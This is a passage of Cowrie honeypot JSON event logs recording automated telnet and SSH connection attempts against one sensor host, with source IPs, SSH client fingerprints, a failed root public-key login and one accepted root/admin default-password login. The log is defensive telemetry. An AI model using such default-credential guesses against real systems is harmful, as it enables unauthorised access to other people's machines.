{"eventid":"cowrie.session.closed","duration":31.135584592819214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:35.463391Z","src_ip":"147.135.136.77","session":"2bf7f8186600","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":41226,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e19980b5de5","protocol":"telnet","message":"New connection: 85.208.100.77:41226 (159.203.135.109:23) [session: 4e19980b5de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:35.662311Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":42474,"dst_ip":"159.203.135.109","dst_port":23,"session":"a86211aaac50","protocol":"telnet","message":"New connection: 173.249.44.46:42474 (159.203.135.109:23) [session: a86211aaac50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:35.748655Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":37796,"dst_ip":"159.203.135.109","dst_port":23,"session":"af5e5de06e2e","protocol":"telnet","message":"New connection: 81.30.157.18:37796 (159.203.135.109:23) [session: af5e5de06e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:35.965779Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":42810,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0cdd33c4ab4","protocol":"telnet","message":"New connection: 173.249.44.46:42810 (159.203.135.109:23) [session: c0cdd33c4ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.035999Z"}
{"eventid":"cowrie.session.closed","duration":30.687984704971313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.070725Z","src_ip":"37.187.24.227","session":"fd27ca4f35cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46613883972168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.076015Z","src_ip":"81.30.157.18","session":"99008a89a825","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49520182609558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.080467Z","src_ip":"81.30.157.18","session":"1a084d8f5235","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.935649871826172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.096506Z","src_ip":"51.79.21.139","session":"c1411f69089c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":40062,"dst_ip":"159.203.135.109","dst_port":23,"session":"995eab112d9f","protocol":"telnet","message":"New connection: 46.101.32.143:40062 (159.203.135.109:23) [session: 995eab112d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.182548Z"}
{"eventid":"cowrie.session.closed","duration":30.599876880645752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.192621Z","src_ip":"147.135.136.77","session":"7c00fa25afbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":40074,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4ca8ff531f9","protocol":"telnet","message":"New connection: 46.101.32.143:40074 (159.203.135.109:23) [session: c4ca8ff531f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.198835Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":42480,"dst_ip":"159.203.135.109","dst_port":23,"session":"36e3a82ccfcb","protocol":"telnet","message":"New connection: 149.102.133.101:42480 (159.203.135.109:23) [session: 36e3a82ccfcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.211952Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":37804,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c4da5ff3216","protocol":"telnet","message":"New connection: 81.30.157.18:37804 (159.203.135.109:23) [session: 3c4da5ff3216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.260174Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":37806,"dst_ip":"159.203.135.109","dst_port":23,"session":"461d7555d15f","protocol":"telnet","message":"New connection: 81.30.157.18:37806 (159.203.135.109:23) [session: 461d7555d15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.358686Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":37808,"dst_ip":"159.203.135.109","dst_port":23,"session":"71e78ec2d3e9","protocol":"telnet","message":"New connection: 81.30.157.18:37808 (159.203.135.109:23) [session: 71e78ec2d3e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.385931Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.67.167.81","src_port":40592,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8ca30156c35","protocol":"ssh","message":"New connection: 80.67.167.81:40592 (159.203.135.109:22) [session: a8ca30156c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.450753Z"}
{"eventid":"cowrie.session.closed","duration":30.12230896949768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.487062Z","src_ip":"168.119.91.149","session":"eb052408079d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.474690437316895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.523849Z","src_ip":"46.101.32.143","session":"251d82e43954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63427710533142,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.616177Z","src_ip":"81.30.157.18","session":"e82550df00ee","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.9","message":"Remote SSH version: SSH-2.0-OpenSSH_9.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.837340Z","src_ip":"80.67.167.81","session":"a8ca30156c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1cc79c7da9b5d5eead2c60983332a556","hasshAlgorithms":"sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1cc79c7da9b5d5eead2c60983332a556","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:36.986960Z","src_ip":"80.67.167.81","session":"a8ca30156c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.293827295303345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:37.049187Z","src_ip":"82.163.78.83","session":"2831a0795938","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.256088972091675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:37.166301Z","src_ip":"85.208.100.77","session":"bb58cdf110ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36530637741089,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:37.172287Z","src_ip":"46.101.32.143","session":"1dc45afa3cd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.943653106689453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:37.199141Z","src_ip":"206.189.139.22","session":"3c9b23ffcd9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.714498281478882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:37.219442Z","src_ip":"147.135.136.77","session":"15ebe722532a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":42486,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c8c34251af1","protocol":"telnet","message":"New connection: 149.102.133.101:42486 (159.203.135.109:23) [session: 5c8c34251af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:37.449164Z"}
{"eventid":"cowrie.session.closed","duration":31.074939489364624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:37.655217Z","src_ip":"173.249.44.46","session":"714192e3c06a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":45100,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc13e96662e5","protocol":"telnet","message":"New connection: 173.249.44.46:45100 (159.203.135.109:23) [session: dc13e96662e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:37.715854Z"}
{"eventid":"cowrie.session.closed","duration":31.584242343902588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:37.749945Z","src_ip":"81.30.157.18","session":"39e569de5932","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":47154,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9f08c34b786","protocol":"telnet","message":"New connection: 168.119.91.149:47154 (159.203.135.109:23) [session: a9f08c34b786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:37.842771Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":54340,"dst_ip":"159.203.135.109","dst_port":23,"session":"57f88f4cc78a","protocol":"telnet","message":"New connection: 37.187.24.227:54340 (159.203.135.109:23) [session: 57f88f4cc78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:37.897343Z"}
{"eventid":"cowrie.session.closed","duration":30.51859164237976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:38.149454Z","src_ip":"85.208.100.77","session":"85c0b9018e03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.006701946258545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:38.189893Z","src_ip":"82.163.78.83","session":"626186749957","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":37812,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4634eaa7001","protocol":"telnet","message":"New connection: 81.30.157.18:37812 (159.203.135.109:23) [session: e4634eaa7001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:38.317041Z"}
{"eventid":"cowrie.session.closed","duration":30.23379111289978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:38.499675Z","src_ip":"168.119.91.149","session":"baf9d2aee305","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.351105451583862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:38.505883Z","src_ip":"168.119.91.149","session":"daa8c20db69a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":56764,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e5609582a01","protocol":"telnet","message":"New connection: 37.187.24.227:56764 (159.203.135.109:23) [session: 9e5609582a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:38.822637Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":37820,"dst_ip":"159.203.135.109","dst_port":23,"session":"72e90a37d9d7","protocol":"telnet","message":"New connection: 81.30.157.18:37820 (159.203.135.109:23) [session: 72e90a37d9d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:38.827083Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:38.834282Z","src_ip":"80.67.167.81","session":"a8ca30156c35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:38.842477Z","src_ip":"80.67.167.81","session":"a8ca30156c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":43080,"dst_ip":"159.203.135.109","dst_port":23,"session":"6464ab2840ac","protocol":"telnet","message":"New connection: 46.101.32.143:43080 (159.203.135.109:23) [session: 6464ab2840ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:38.849564Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":57094,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a65193ebe45","protocol":"telnet","message":"New connection: 37.187.24.227:57094 (159.203.135.109:23) [session: 0a65193ebe45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:38.995880Z"}
{"eventid":"cowrie.session.closed","duration":30.776906490325928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:39.114223Z","src_ip":"85.208.100.77","session":"f84bb9df4100","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.508198022842407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:39.119939Z","src_ip":"81.30.157.18","session":"b30381b129ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":37828,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a856dd0b7e8","protocol":"telnet","message":"New connection: 81.30.157.18:37828 (159.203.135.109:23) [session: 0a856dd0b7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:39.188089Z"}
{"eventid":"cowrie.session.closed","duration":31.088413953781128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:39.273405Z","src_ip":"37.187.24.227","session":"033c90d39dc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":43540,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bbb93edc6c5","protocol":"telnet","message":"New connection: 46.101.32.143:43540 (159.203.135.109:23) [session: 7bbb93edc6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:39.298592Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:39.338844Z","src_ip":"80.67.167.81","session":"a8ca30156c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":48356,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6e2c1a4b1cd","protocol":"telnet","message":"New connection: 85.208.100.77:48356 (159.203.135.109:23) [session: b6e2c1a4b1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:39.365166Z"}
{"eventid":"cowrie.session.closed","duration":30.21423077583313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:39.486186Z","src_ip":"168.119.91.149","session":"7a8e5599b823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":53440,"dst_ip":"159.203.135.109","dst_port":23,"session":"11ad359ff852","protocol":"telnet","message":"New connection: 206.189.139.22:53440 (159.203.135.109:23) [session: 11ad359ff852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:39.538965Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":48036,"dst_ip":"159.203.135.109","dst_port":23,"session":"84c1ef898e4a","protocol":"telnet","message":"New connection: 173.249.44.46:48036 (159.203.135.109:23) [session: 84c1ef898e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:39.908032Z"}
{"eventid":"cowrie.session.closed","duration":30.80099582672119,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:39.972383Z","src_ip":"168.119.91.149","session":"cc3bc369418d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55185103416443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:40.055247Z","src_ip":"81.30.157.18","session":"0a3b6de55f5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45047903060913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:40.066602Z","src_ip":"81.30.157.18","session":"edb34f7c1097","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121817350387573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:40.206472Z","src_ip":"81.30.157.18","session":"e3f6d599085d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":37834,"dst_ip":"159.203.135.109","dst_port":23,"session":"330663807a6f","protocol":"telnet","message":"New connection: 81.30.157.18:37834 (159.203.135.109:23) [session: 330663807a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:40.225147Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":37840,"dst_ip":"159.203.135.109","dst_port":23,"session":"82524e5b988b","protocol":"telnet","message":"New connection: 81.30.157.18:37840 (159.203.135.109:23) [session: 82524e5b988b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:40.275520Z"}
{"eventid":"cowrie.session.closed","duration":31.012348175048828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:40.547831Z","src_ip":"168.119.91.149","session":"85fe2b5353cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33596,"dst_ip":"159.203.135.109","dst_port":23,"session":"48152f49bb53","protocol":"telnet","message":"New connection: 147.135.136.77:33596 (159.203.135.109:23) [session: 48152f49bb53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:40.556747Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":44476,"dst_ip":"159.203.135.109","dst_port":23,"session":"732faaaca51b","protocol":"telnet","message":"New connection: 168.119.91.149:44476 (159.203.135.109:23) [session: 732faaaca51b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:40.707219Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":45232,"dst_ip":"159.203.135.109","dst_port":23,"session":"1384479d1380","protocol":"telnet","message":"New connection: 46.101.32.143:45232 (159.203.135.109:23) [session: 1384479d1380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:40.788116Z"}
{"eventid":"cowrie.session.closed","duration":30.38710045814514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:41.064360Z","src_ip":"81.30.157.18","session":"96a16cb109e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.545806407928467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:41.134180Z","src_ip":"85.208.100.77","session":"347247c31514","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":42500,"dst_ip":"159.203.135.109","dst_port":23,"session":"45b62b43c606","protocol":"telnet","message":"New connection: 149.102.133.101:42500 (159.203.135.109:23) [session: 45b62b43c606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:41.216554Z"}
{"eventid":"cowrie.session.closed","duration":30.285839796066284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:41.491282Z","src_ip":"168.119.91.149","session":"7aa0fdcda116","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":37850,"dst_ip":"159.203.135.109","dst_port":23,"session":"7747010f2099","protocol":"telnet","message":"New connection: 81.30.157.18:37850 (159.203.135.109:23) [session: 7747010f2099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:41.677726Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":46512,"dst_ip":"159.203.135.109","dst_port":23,"session":"8232cb2880ec","protocol":"telnet","message":"New connection: 46.101.32.143:46512 (159.203.135.109:23) [session: 8232cb2880ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:41.767503Z"}
